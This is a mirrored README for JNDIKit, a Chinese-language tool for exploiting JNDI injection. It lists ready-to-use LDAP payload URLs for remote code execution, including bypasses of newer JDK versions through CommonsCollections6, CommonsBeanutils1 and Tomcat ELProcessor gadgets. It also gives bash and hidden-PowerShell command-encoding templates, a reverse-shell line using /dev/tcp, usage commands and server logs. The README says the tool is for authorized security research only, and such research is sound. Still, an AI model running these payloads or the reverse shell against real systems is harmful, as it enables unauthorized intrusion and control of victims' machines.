Code Monkey home page Code Monkey logo

jndikit's Introduction

JNDIKit

工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责

介绍

一款简单的JNDI注入利用工具(自用)

并没有多少高级功能,主要是一些基本的功能,供安全研究使用

无需自行编译Java代码和开启HTTP服务,一切自动

Payload 介绍
ldap://0.0.0.0:1389/SimpleCommand 直接执行命令
ldap://0.0.0.0:1389/BashCommand 使用bash并进行Base64编码执行命令
ldap://0.0.0.0:1389/PowershellCommand 使用powershell并进行Base64编码执行命令
ldap://0.0.0.0:1389/CC6 使用CommonsCollections6绕过高版本JDK
ldap://0.0.0.0:1389/BashCC6 使用CommonsCollections6绕过高版本JDK(bash)
ldap://0.0.0.0:1389/PowershellCC6 使用CommonsCollections6绕过高版本JDK(powershell)
ldap://0.0.0.0:1389/CB1 使用CommonBeanUtils1绕过高版本JDK
ldap://0.0.0.0:1389/BashCB1 使用CommonBeanUtils1绕过高版本JDK(bash)
ldap://0.0.0.0:1389/PowershellCB1 使用CommonBeanUtils1绕过高版本JDK(powershell)
ldap://0.0.0.0:1389/Tomcat 使用Tomcat ELProcessor绕过高版本JDK
ldap://0.0.0.0:1389/BashTomcat 使用Tomcat ELProcessor绕过高版本JDK(bash)
ldap://0.0.0.0:1389/PowershellTomcat 使用Tomcat ELProcessor绕过高版本JDK(powershell)

支持三种格式的RCE

  • 直接执行:Runtime.getRuntime.exec(command);
  • 使用bash并编码:bash -c {echo,[Payload]}|{base64,-d}|{bash,-i}
  • 使用powershell并编码:powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc [Payload]

为什么需要对命令进行特殊处理:

例如linux下执行反弹shell命令会失败:bash -i >& /dev/tcp/x.x.x.x/port 0>&1

因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义,所以需要进行特殊处理

支持一些绕过高版本JDK的方式(同样支持三种格式的RCE

  • 打本地gadgetCB1CC6
  • 利用Tomcat ELProcessor的绕过

使用

命令:java -jar JNDIKit.jar --cmd calc.exe

    ___  ________   ________  ___  ___  __    ___  _________   
   |\  \|\   ___  \|\   ___ \|\  \|\  \|\  \ |\  \|\___   ___\ 
   \ \  \ \  \\ \  \ \  \_|\ \ \  \ \  \/  /|\ \  \|___ \  \_| 
 __ \ \  \ \  \\ \  \ \  \ \\ \ \  \ \   ___  \ \  \   \ \  \  
|\  \\_\  \ \  \\ \  \ \  \_\\ \ \  \ \  \\ \  \ \  \   \ \  \ 
\ \________\ \__\\ \__\ \_______\ \__\ \__\\ \__\ \__\   \ \__\
 \|________|\|__| \|__|\|_______|\|__|\|__| \|__|\|__|    \|__|                                                                 
20:31:33 [INFO] [org.sec.Main] start jndi kit
20:31:33 [INFO] [org.sec.Main] cmd: calc.exe
20:31:33 [INFO] [org.sec.core.http.HttpServer] start http server: 0.0.0.0:8000
20:31:33 [INFO] [org.sec.core.ldap.LdapServer] start ldap server: 0.0.0.0:1389
┌─────────────────────────────────────┬────────────────────────────────────────────────────┐
│LDAP Payload                         │Introduce                                           │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/SimpleCommand    │Simple RCE                                          │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/BashCommand      │Simple RCE Use Bash                                 │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/PowershellCommand│Simple RCE Use Powershell                           │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/CC6              │RCE Use CC6 Payload (Simple)                        │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/BashCC6          │RCE Use CC6 Payload (Bash)                          │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/PowershellCC6    │RCE Use CC6 Payload (Powershell)                    │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/CB1              │RCE Use CB1 Payload (Simple)                        │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/BashCB1          │RCE Use CB1 Payload (Bash)                          │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/PowershellCB1    │RCE Use CB1 Payload (Powershell)                    │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/Tomcat           │Use Tomcat ELProcessor Bypass JDK 8u191 (Simple)    │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/BashTomcat       │Use Tomcat ELProcessor Bypass JDK 8u191 (Bash)      │
├─────────────────────────────────────┼────────────────────────────────────────────────────┤
│ldap://0.0.0.0:1389/PowershellTomcat │Use Tomcat ELProcessor Bypass JDK 8u191 (Powershell)│
└─────────────────────────────────────┴────────────────────────────────────────────────────┘

如果端口冲突可自行配置端口

命令:java -jar JNDIKit.jar --cmd calc.exe --lp 1390 --hp 8001

接收到请求会实时打印

20:53:21 [INFO] [org.sec.core.ldap.LdapServer] Accept 127.0.0.1 -----> SimpleCommand
20:53:30 [INFO] [org.sec.core.ldap.LdapServer] Accept 127.0.0.1 -----> PowershellCommand
20:53:42 [INFO] [org.sec.core.ldap.LdapServer] Accept 127.0.0.1 -----> PowershellCC6
20:53:51 [INFO] [org.sec.core.ldap.LdapServer] Accept 127.0.0.1 -----> PowershellTomcat

免责申明

未经授权许可使用JNDIKit攻击目标是非法的

本程序应仅用于授权的安全测试与研究目的

jndikit's People

Contributors

4ra1n avatar

Stargazers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.